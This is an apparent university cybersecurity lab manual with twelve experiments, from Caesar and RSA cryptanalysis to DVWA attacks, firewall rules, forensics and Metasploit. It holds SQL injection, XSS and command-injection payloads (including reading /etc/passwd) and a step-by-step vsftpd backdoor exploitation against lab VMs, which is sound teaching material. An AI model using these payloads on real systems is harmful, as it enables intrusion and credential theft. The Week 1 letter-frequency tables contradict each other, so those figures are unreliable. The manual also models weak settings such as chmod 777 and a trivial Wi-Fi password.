ICS Lab Manual — All 12 Experiments

Subject: Information and Cyber Security (ICS)
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Table of Contents

Week	Experiment
1	Cryptanalysis of Caesar Cipher using frequency analysis
2	Cryptanalysis of RSA
3	Working with sniffers for monitoring network communication (Wireshark)
4	Examination of a website to test the vulnerability of attacks — DVWA setup & SQLi
5	Examination of a website to test the vulnerability of attacks — XSS & CSRF & command line injection attack
6	Implement firewall for an organization
7	Perform email analysis using the Autopsy tool
8	Implement Wi-Fi security (WPA2, IP based, MAC Based)
9	Analyze and exploit the root system of CMROS
10	Implementing and analyzing target using Metasploit and gain control over the system
11	Implementation of IT Audit, malware analysis and vulnerability assessment and generate the report
12	Test security of UPI applications on desktop sharing applications

Week 1 — Cryptanalysis of Caesar Cipher using frequency analysis

Procedure

Step 1 — Open the Encrypted Message

Open the encrypted message in **Notepad**.

The ciphertext is:

> GFS WMY OG LGDVS MF SFNKYHOSU ESLLMRS, PC WS BFGW POL DMFRQMRS, PL OG CPFU M UPCCSKSFO HDMPFOSXO GC OIS LMES DMFRQMRS DGFR SFGQRI OG CPDD GFS LISSO GK LG, MFU OISF WS NGQFO OIS GNNQKKSFNSL GC SMNI DSOOSK. WS NMDD OIS EGLO CKSJQSFODY GNNQKKPFR DSOOSK OIS 'CPKLO', OIS FSXO EGLO GNNQKKPFR DSOOSK OIS 'LSNGFU' OIS CGDDGWPFR EGLO GNNQKKPFR DSOOSK OIS 'OIPKU', MFU LG GF, QFOPD WS MNNGQFO CGK MDD OIS UPCCSKSFO DSOOSKL PF OIS HDMPFOSXO LMEHDS. OISF WS DGGB MO OIS NPHISK OSXO WS WMFO OG LGDVS MFU WS MDLG NDMLLPCY POL LYEAGDL. WS CPFU OIS EGLO GNNQKKPFR LYEAGD MFU NIMFRS PO OG OIS CGKE GC OIS 'CPKLO' DSOOSK GC OIS HDMPFOSXO LMEHDS, OIS FSXO EGLO NGEEGF LYEAGD PL NIMFRSU OG OIS CGKE GC OIS 'LSNGFU' DSOOSK, MFU OIS CGDDGWPFR EGLO NGEEGF LYEAGD PL NIMFRSU OG OIS CGKE GC OIS 'OIPKU' DSOOSK, MFU LG GF, QFOPD WS MNNGQFO CGK MDD LYEAGDL GC OIS NKYHOGRKME WS WMFO OG LGDVS.

Step 2 — Count Letter Frequencies

Find the frequency of each letter in the ciphertext:

Letter	Freq	Letter	Freq	Letter	Freq
A	5	J	1	S	88
B	3	K	6	T	0
C	16	L	35	U	39
D	14	M	35	V	2
E	10	N	29	W	51
F	26	O	85	X	67
G	42	P	30	Y	33
H	8	Q	17	Z	0
I	23	R	17		

Sorted in descending order of frequency:

Letter	Freq	Letter	Freq	Letter	Freq
S	88	N	29	Y	10
O	85	C	26	H	8
G	67	E	23	X	6
F	51	R	17	A	5
D	42	U	17	V	3
L	39	W	16	B	2
K	35	Q	14	J	1
M	35	P	10	T	0
I	33			Z	0

Step 3 — English Letter Frequency Reference Table

Letter	Freq (%)	Letter	Freq (%)	Letter	Freq (%)
E	12.7	S	6.3	G	2.0
T	9.1	H	6.1	Y	2.0
A	8.2	R	6.0	P	1.9
O	7.5	D	4.3	B	1.5
I	7.0	L	4.0	V	1.0
N	6.7	C	2.8	K	0.08
		U	2.8	J	0.02
		M	2.4	Q	0.01
		W	2.3	X	0.01
		F	2.2	Z	0.01

Step 4 — Begin Substitution

Open Find & Replace in Notepad (`Ctrl + H`). Enable **Match Case**.

Replace each ciphertext letter with the corresponding plaintext letter (use lowercase):

Cipher → Plain	Cipher → Plain	Cipher → Plain
S → e	I → h	Y → y
O → t	P → i	E → m
G → o	U → d	N → c
F → n	X → v	C → f
D → l	H → p	R → g
L → s	A → b	Q → u
K → r	V → w	
M → a	B → k	

Step 5 — Verify the Decryption

Final Decrypted Text:

> *"One way to solve an encrypted message, if we know its language, is to find a different plaintext of the same language long enough to fill one sheet or so, and then we count the occurrences of each letter. We call the most frequently occurring letter the 'first', the next most occurring letter the 'second' the following most occurring letter the 'third', and so on, until we account for all the different letters in the plaintext sample. Then we look at the cipher text we want to solve and we also classify its symbols. We find the most occurring symbol and change it to the form of the 'first' letter of the plaintext sample, the next most common symbol is changed to the form of the 'second' letter, and the following most common symbol is changed to the form of the 'third' letter, and so on, until we account for all symbols of the cryptogram we want to solve."*

Week 2 — Cryptanalysis of RSA

Procedure

Step 1 — Navigate to the Working Directory

```
cd Desktop
cd rsa
ls
```

Step 2 — View the Encrypted File and Public Key

```
cat enc.txt
cat pubkey.pem
```

Step 3 — Extract RSA Public Key Parameters

```
openssl rsa -pubin -inform PEM -text -noout < pubkey.pem
```

This displays the modulus (n) and exponent (e) of the public key.

Step 4 — Set Up the Python Environment

```
sudo apt update
sudo apt install python3-pip
python3 -m venv crypto-env
source crypto-env/bin/activate
pip install pycryptodome
```

Step 5 — Factor the Weak RSA Modulus

Run the exploit script that factors the small modulus `n` into primes `p` and `q`, computes the private exponent `d`, and generates the private key:

```
python3 exploit.py
```

This produces a file named `private.pem`.

Step 6 — Decrypt the Ciphertext

```
openssl pkeyutl -decrypt -in enc.txt -out dec.txt -inkey private.pem
```

Step 7 — View the Decrypted Message

```
cat dec.txt
```

Week 3 — Working with sniffers for monitoring network communication (Wireshark)

Procedure

Step 1 — Open Terminal

Log in to Kali Linux and open the terminal.

Step 2 — Launch Wireshark

Navigate to:
Applications → Sniffing & Spoofing → Wireshark

Step 3 — Select a Network Interface

Wireshark displays available interfaces. Select the active interface:

- `eth0` (Ethernet)

Double-click the interface to start packet capturing.

Step 4 — Start Capturing Packets

Wireshark begins capturing all traffic on the selected interface in real time.

Step 5 — Generate Network Traffic

Open a web browser or run commands (e.g., `ping`, `curl`) to generate traffic for analysis.

Step 6 — Stop Packet Capture

Click the **Stop** button (red square) in the Wireshark toolbar.

Step 7 — Analyze Captured Packets

Examine the packet list pane. Each row represents a captured packet showing:

- Packet number, timestamp, source/destination IP, protocol, length, and info.

Step 8 — Apply Display Filters

Use display filters to narrow results:

Filter	Purpose
`http`	Show only HTTP traffic

Filter	Purpose
`tcp`	Show only TCP packets
`ip.addr == 192.168.x.x`	Filter by specific IP
`dns`	Show only DNS queries

Step 9 — Inspect Packet Details

Click on any packet to view its detailed breakdown:

- **Frame** — Physical layer info
- **Ethernet II** — Data link layer (MAC addresses)
- **IP** — Network layer (IP addresses)
- **TCP/UDP** — Transport layer (ports, flags)
- **Application** — HTTP, DNS, etc.

Step 10 — Follow a TCP Stream

Right-click a TCP packet → **Follow** → **TCP Stream** to view the complete conversation between client and server.

Step 11 — Save the Capture

Go to **File** → **Save As** and save the capture as a `.pcap` or `.pcapng` file.

Step 12 — Reopen Saved Capture

Go to **File** → **Open** and load the saved `.pcap` file for further analysis.

Week 4 — Examination of a website to test the vulnerability of attacks — DVWA setup & SQLi

Procedure

Part A — DVWA Setup

Step 1 — Navigate to the Web Root

```
cd /var/www/html
ls
```

Step 2 — Rename and Set Permissions

```
sudo mv dvwa2 DVWA
sudo chmod -R 777 DVWA
```

Step 3 — Configure DVWA

```
cd DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php
```

Edit the configuration file and set the database credentials:

- `$_DVWA['db_user'] = 'root'`
- `$_DVWA['db_password'] = ''` (or your MySQL root password)

Step 4 — Start MySQL

```
sudo service mysql start
```

Step 5 — Verify MySQL

```
sudo mysql -u root -p
```

Inside the MariaDB shell:

```
SHOW DATABASES;
EXIT;
```

Step 6 — Start Apache

```
sudo service apache2 start
```

Step 7 — Access DVWA in Browser

Open Firefox and visit:

```
http://localhost/DVWA
```

Or navigate directly to the login page:

```
http://127.0.0.1/DVWA/login.php
```

Step 8 — Create the Database

Click "**Create / Reset Database**" on the DVWA setup page to initialize the database tables.

Login with default credentials:

- **Username:** `admin`
- **Password:** `password`

Part B — SQL Injection (SQLi)

Step 9 — Set Security Level

Navigate to **DVWA Security** and set the security level to **Low**.

Step 10 — Navigate to SQL Injection Module

Click on **SQL Injection** from the left menu.

Step 11 — Perform SQL Injection

Enter the following in the **User ID** field:

```
' OR '1'='1
```

Click **Submit**. This returns all user records from the database, confirming the SQL injection vulnerability.

Step 12 — Extract More Information

Try additional payloads:

```
' UNION SELECT user, password FROM users #
```

This retrieves usernames and password hashes from the database.

Week 5 — Examination of a website to test the vulnerability of attacks — XSS & CSRF & command line injection attack

Procedure

Step 1 — Start Services and Access DVWA

```
sudo service apache2 start
sudo service mysql start
```

Open Firefox and navigate to:

```
http://localhost/DVWA/login.php
```

Login with:

- **Username:** `admin`
- **Password:** `password`

Set security level to **Low**.

Part A — Cross-Site Scripting (XSS)

Step 2 — XSS (Reflected)

Navigate to **XSS (Reflected)** from the left menu. Enter the following in the input field:

```
<script>alert('XSS')</script>
```

Click **Submit**. If an alert box appears, the application is vulnerable to reflected XSS.

Step 3 — XSS (Stored)

Navigate to **XSS (Stored)** from the left menu. Enter the following:

- **Name:** Test
- **Message:**

```
<script>alert('Stored XSS')</script>
```

Click **Sign Guestbook**. Every time the page is visited, the script executes — demonstrating stored (persistent) XSS.

Part B — CSRF (Cross-Site Request Forgery)

Step 4 — Navigate to CSRF Module

Click on **CSRF** from the left menu.

Step 5 — Change Password via CSRF

Enter a new password and confirm it. Observe the URL after submission — it contains the password as a parameter:

```
http://localhost/DVWA/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Ch
```

An attacker can craft this URL and trick an authenticated user into clicking it, thereby changing their password without their knowledge.

Part C — Command Injection

Step 6 — Navigate to Command Injection Module

Click on **Command Injection** from the left menu.

Step 7 — Perform Command Injection

The application expects an IP address for a ping command. Enter:

```
; ls -la
```

This appends a system command after the intended ping, executing it on the server.

Step 8 — Try Additional Payloads

```
; cat /etc/passwd
```

```
; whoami
```

These commands demonstrate the ability to read sensitive system files and identify the running user through command injection.

Week 6 — Implement firewall for an organization

Procedure

Initial Setup

Start the required services on Kali Linux and note IP addresses of both machines:

```
# On Kali Linux
sudo service apache2 start
sudo service mysql start
ifconfig


# On Windows
ipconfig
```

Task 1 — Block and Unblock Ping (ICMP)

Test connectivity before applying rules:

```
# On Windows
ping <kali_ip>
```

Block all traffic from the Windows machine:

```
# On Kali Linux
sudo iptables -A INPUT -s <windows_ip> -j DROP
```

Verify the block — ping should now fail:

```
# On Windows
ping <kali_ip>
```

Remove the rule to restore connectivity:

```
# On Kali Linux
sudo iptables -D INPUT -s <windows_ip> -j DROP
```

Verify restoration — ping should succeed again:

```
# On Windows
ping <kali_ip>
```

Task 2 — Block and Unblock Port 80 (HTTP)

Block HTTP traffic (port 80) from the Windows machine:

```
# On Kali Linux
sudo iptables -A INPUT -s <windows_ip> -p tcp --destination-port 80 -j DROP
```

Verify the block:
On Windows, open a browser and navigate to `http://<kali_ip>` — the page should not load.

Remove the rule to restore HTTP access:

```
# On Kali Linux
sudo iptables -D INPUT -s <windows_ip> -p tcp --destination-port 80 -j DROP
```

Verify restoration:
Refresh the browser on Windows — the page should now load.

Week 7 — Perform email analysis using the Autopsy tool

Procedure

Step 1 — Open Autopsy

Launch the Autopsy application.

Step 2 — Create a New Case

Select **New Case** and enter the following:

Field	Value
Case Name	SAI
Case Type	Single-user

Click **Next**.

Step 3 — Enter Optional Information

Field	Value
Case Number	07
Examiner Name	John
Phone	123456789

Field	Value
Email	john@gmail.com

Click **Finish**.

Step 4 — Select Host

Choose "**Generate a new host name based on the data source name**" and click **Next**.

Step 5 — Select Data Source Type

Select **Logical Files** and click **Next**.

Step 6 — Add Data Source

Add the downloaded evidence file from GitHub:

```
Autopsy-email-Forensics.zip
```

Step 7 — Configure Ingest Modules

Enable the following ingest modules:

- ☑ **Keyword Search**
- ☑ **Email Parser**

Click **Next** to begin ingesting.

Step 8 — Generate Report

After ingestion completes:

1. Go to **Generate Report**.
2. Select **Excel** format.
3. Click the generated report link to open the output.

Output: An Excel spreadsheet containing parsed email artifacts, metadata, and keyword hits.

Week 8 — Implement Wi-Fi security (WPA2, IP based, MAC Based)

Procedure

Step 1 — Physical Setup

Connect the Ethernet cables and power source to the Wi-Fi router and the system device.

Step 2 — Access the Router Admin Panel

Open a web browser and enter the router's IP address:

```
http://192.168.0.1
```

Step 3 — View the Network Map

In the **Network Map** option, review:

- Connected devices (Internet, Archer C6, Mesh devices)
- Internet IP address
- LAN MAC address

Step 4 — Configure Internet (IP-based) Settings

In the **Internet** option:

- **Internet Connection Type:** Dynamic IP
- **Router MAC Address:** Use Default MAC Address

Step 5 — Configure Wireless Security (WPA2)

In the **Wireless** option, enable the desired band (Smart Connect / 2.4 GHz / 5 GHz):

Setting	Value
Network Name (SSID)	ICS-LAB
Password	123456789
Security	WPA2-PSK [AES]

Click **Save**.

Step 6 — Configure MAC-Based Access Control

In **Advanced** → **Security** → **Access Control**:

1. **Enable** Access Control.
2. Set **Access Mode** to **Allow List**.
3. **Add** authorized devices (by MAC address) to the allow list.
4. If any suspicious device is found, enable the **Deny List** and add the device's MAC address to block it.

Week 9 — Analyze and exploit the root system of CMROS

Procedure

Part A — Remote Access using AnyDesk

Step 1 — Application Installation

Install and launch the AnyDesk application on both the host computer and the target mobile device.

Step 2 — Device Discovery

Open AnyDesk on the mobile device to retrieve its unique AnyDesk address/ID.

Step 3 — Session Initiation

Enter the mobile device's address into the desktop AnyDesk application and initiate a connection request.

Step 4 — Access Authorization

Accept the incoming connection prompt and grant permissions on the mobile device to establish the remote session.

Step 5 — Security Verification

Navigate to a secure input field (e.g., password entry screen) on the mobile device while the remote session is active to test screen blanking/masking.

Part B — Exploiting the Root System of CMROS

Step 6 — Download and Extract CMROS

Download the CMROS `.zip` file and extract it.

Step 7 — Set Up the Virtual Machine

Open VMware and import the CMROS virtual machine by selecting the `.ovf` file from the extracted folder.

Step 8 — Power On and Note the IP

Power on the CMROS virtual machine and note its IP address (e.g., `192.168.232.128`).

Step 9 — Scan with Nmap

Open the Kali Linux terminal and run an Nmap scan:

```
nmap -v -A 192.168.232.128
```

- Initial scan shows only the HTTP service.
- Run an **Intense Scan — All TCP Ports** to discover additional services (e.g., HTTP, SSH).

Step 10 — Investigate the Web Page Source

Open the Kali browser and navigate to:

```
http://192.168.232.128
```

Right-click → **View Page Source**. Scroll through the source code to find embedded credentials (username and password).

Step 11 — SSH into CMROS

Use the discovered credentials to log in via SSH:

```
ssh <username>@192.168.232.128
```

Enter the password found in the page source.

Step 12 — Explore the System

```
whoami
ls
cd Desktop
ls
```

Step 13 — Transfer Suspicious Files

On the Windows system, download and install **WinSCP**. Connect to CMROS using the discovered credentials to transfer files for further analysis.

Step 14 — Capture Credentials with Wireshark

Open Wireshark on Kali Linux and capture traffic during the session. Analyze captured packets to observe transmitted credentials.

Week 10 — Implementing and analyzing target using Metasploit and gain control over the system

Procedure

Prerequisites

Step 1 — Download Required Tools

- Download and install **VMware Workstation Pro**.
- Download the **Metasploitable** virtual machine.
- Download **Nmap** from https://nmap.org.

Step 2 — Additional Resource

Download the Metasploit configuration from:
https://github.com/rampriyakilari/ICS-Needs/blob/main/metasploit.txt

Exploitation Steps

Step 3 — Start Metasploitable VM

Open VMware, power on the Metasploitable VM, and log in:

- **Username:** `msfadmin`
- **Password:** `msfadmin`

Step 4 — Scan with Nmap

From Kali Linux, scan the Metasploitable machine:

```
nmap -v -A 192.168.59.135
```

Identify open ports and services. Look for:

```
Port 21/tcp  open  ftp  vsftpd 2.3.4
```

Additional details from the scan:

```
ftp-anon: Anonymous FTP login allowed (FTP code 130)
FTP server status:
  Connected to 192.168.59.1
  Logged in as ftp
  TYPE: ASCII
  Session timeout in seconds is 300
  Control connection is plain text
  vsFTPd 2.3.4 - Secure, fast, stable
```

Step 5 — Research the Vulnerability

Search for `vsftpd 2.3.4 vulnerability` in a browser to confirm the known backdoor exploit.

Step 6 — Launch Metasploit

```
msfconsole
```

Step 7 — Search for the Exploit

```
search vsftpd
```

Step 8 — Select the Exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Step 9 — View Exploit Information

```
info
```

Step 10 — Set Target and Attacker IPs

```
set RHOST 192.168.59.135
set LHOST 192.168.59.134
```

Step 11 — Verify Configuration

```
info
```

Confirm that `RHOST` and `LHOST` are correctly set.

Step 12 — Set the Payload

```
show payloads
set payload cmd/unix/interact
```

Step 13 — Run the Exploit

```
run
```

Step 14 — Verify Control Over the System

Once the shell session is established:

```
ls
cat nohup.out
exit
```

Week 11 — Implementation of IT Audit, malware analysis and vulnerability assessment and generate the report

Procedure

Step 1 — Launch Kali Linux

Open VMware Workstation and launch the Kali Linux virtual machine.

Step 2 — Download the Malware Sample

Open Firefox inside Kali Linux and navigate to GitHub. Search for the **ICS-Needs** repository and download `malware.rar`.

Step 3 — Extract the File

Open the Downloads folder using the file manager. Right-click on `malware.rar` and select "**Extract Here**" to extract `file.exe`.

Step 4 — Scan with FileScan.io

1. Open a new tab in Firefox.
2. Navigate to https://www.filescan.io.
3. Upload the extracted `file.exe`.
4. Review the results:
    - Threat indicators
    - Sandbox analysis
    - Confirmed threat verdict

Step 5 — Scan with VirusTotal

1. Open another tab in Firefox.
2. Navigate to https://www.virustotal.com.
3. Upload `file.exe` or paste its file hash.
4. Review the results:
    - Multi-engine vendor detection score

- Threat reputation
- Behavioral analysis

Step 6 — Generate the Report

Document findings from both platforms:

Parameter	FileScan.io	VirusTotal
Detection Verdict	Malicious / Clean	Detection Score (e.g., 45/70)
Malware Family	Identified type	Identified type
Threat Indicators	Listed IOCs	Listed IOCs
Behavioral Analysis	Sandbox results	Behavioral report
File Modifications	Observed changes	Observed changes
Network Activity	Connections found	Connections found

Week 12 — Test security of UPI applications on desktop sharing applications

Procedure

Step 1 — Application Installation

Install and launch the AnyDesk application on both the host computer and the target mobile phone.

Step 2 — Device Discovery

Open AnyDesk on the mobile device to retrieve its unique IP/AnyDesk address.

Step 3 — Session Initiation

Enter the mobile device's address into the desktop AnyDesk application and initiate a connection request.

Step 4 — Access Authorization

Accept the incoming connection prompt and grant permissions on the mobile device to establish the remote session.

Step 5 — Security Verification (Screen Blanking/Masking)

Navigate to a secure input field or password entry screen on the mobile device while the remote session is active. Test the following:

1. **Open a UPI application** (e.g., Google Pay, PhonePe, Paytm) on the mobile device.
2. **Attempt to view the UPI PIN entry screen** from the remote desktop session.
3. **Verify screen blanking:** Check if the UPI app's sensitive screens are hidden or blanked on the remote viewer.
4. **Verify input masking:** Check if keystrokes on the UPI PIN pad are masked (shown as dots/asterisks) on the remote display.
5. **Attempt a mock transaction** and observe whether transaction details (account number, amount) are visible remotely.

Step 6 — Document Observations

Security Feature	Expected Behavior	Observed Behavior
Screen Blanking	UPI screens hidden remotely	*(Record observation)*
Input Masking	PIN entry masked as dots	*(Record observation)*
Transaction Details	Sensitive data not visible	*(Record observation)*

Summary of All Experiments

Week	Experiment	Tools Used
1	Cryptanalysis of Caesar Cipher using frequency analysis	Notepad, Frequency Tables
2	Cryptanalysis of RSA	OpenSSL, Python, PyCryptodome
3	Working with sniffers for monitoring network communication (Wireshark)	Wireshark, Kali Linux
4	Examination of a website — DVWA setup & SQLi	DVWA, Apache, MySQL, Firefox
5	Examination of a website — XSS & CSRF & command line injection	DVWA, Firefox
6	Implement firewall for an organization	iptables, Kali Linux, Windows
7	Perform email analysis using the Autopsy tool	Autopsy
8	Implement Wi-Fi security (WPA2, IP based, MAC Based)	TP-Link Router (Archer C6)

Week	Experiment	Tools Used
9	Analyze and exploit the root system of CMROS	AnyDesk, Nmap, SSH, VMware
10	Implementing and analyzing target using Metasploit	Metasploit, Nmap, Metasploitable
11	IT Audit, malware analysis and vulnerability assessment	FileScan.io, VirusTotal
12	Test security of UPI apps on desktop sharing apps	AnyDesk

End of Lab Manual